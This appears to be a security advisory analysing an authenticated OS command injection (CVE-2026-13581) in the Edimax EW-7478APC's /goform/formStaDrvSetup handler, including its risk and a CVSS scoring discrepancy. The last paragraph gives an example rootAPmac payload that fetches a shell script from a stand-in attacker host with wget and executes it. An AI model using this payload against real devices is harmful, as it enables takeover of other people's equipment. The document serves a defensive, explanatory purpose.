Edimax EW-7478APC CVE-2026-13581

Exploitation requires network access to the Edimax EW-7478APC web management interface and a valid authenticated session at low privilege level, as confirmed by PR:L in the provided CVSS 4.0 vector. The vulnerable code path is triggered by a POST request to /goform/formStaDrvSetup with a malicious rootAPmac parameter value containing shell metacharacters. No special non-default firmware configuration beyond having the web management interface reachable is required. Exploitation is limited by the authentication requirement (PR:L - unauthenticated exploitation is not supported by the CVSS vector), and by the device's typical deployment on internal networks rather than directly internet-exposed. However, devices configured with default or weak credentials, or with remote management enabled and internet-facing, substantially reduce this barrier. The wildcard CPE version suggests the vulnerable function exists across multiple firmware versions, not only 1.04.

Real-world risk is substantially higher than the CVSS 4.0 score of 2.1 suggests. The provided vector (AV:N/AC:L/AT:N/PR:L/UI:N) confirms this is a low-complexity, network-reachable attack requiring only low-level authentication - a configuration consistent with a device's standard web UI. However, the assigned impact metrics of VC:L/VI:L/VA:L are inconsistent with the nature of CWE-78 OS command injection on embedded Linux devices, where arbitrary command execution almost universally yields root-level control, full confidentiality loss, and complete device availability impact. This scoring discrepancy should be flagged: CVSS indicates Low impact but the vulnerability class (OS command injection) implies High impact - security teams should independently assess. The E:P modifier confirms a public exploit exists, raising exploitability. The device is not listed in CISA KEV, suggesting no confirmed widespread in-the-wild exploitation at time of analysis. EPSS data was not provided in the available intelligence. The vendor's non-response to disclosure eliminates any near-term patch timeline, making compensating controls the only defensive option.

An attacker with low-privilege credentials to the Edimax EW-7478APC web interface sends a crafted HTTP POST request to /goform/formStaDrvSetup with a rootAPmac value containing injected shell commands, such as AA:BB:CC:DD:EE:FF; wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s. The firmware's formStaDrvSetup handler passes this value unsanitized to a system shell call, executing the injected commands with the web server's process privileges - typically root on embedded Linux devices. A public proof-of-concept demonstrating this technique is available and indexed by VulDB, lowering the skill threshold for exploitation.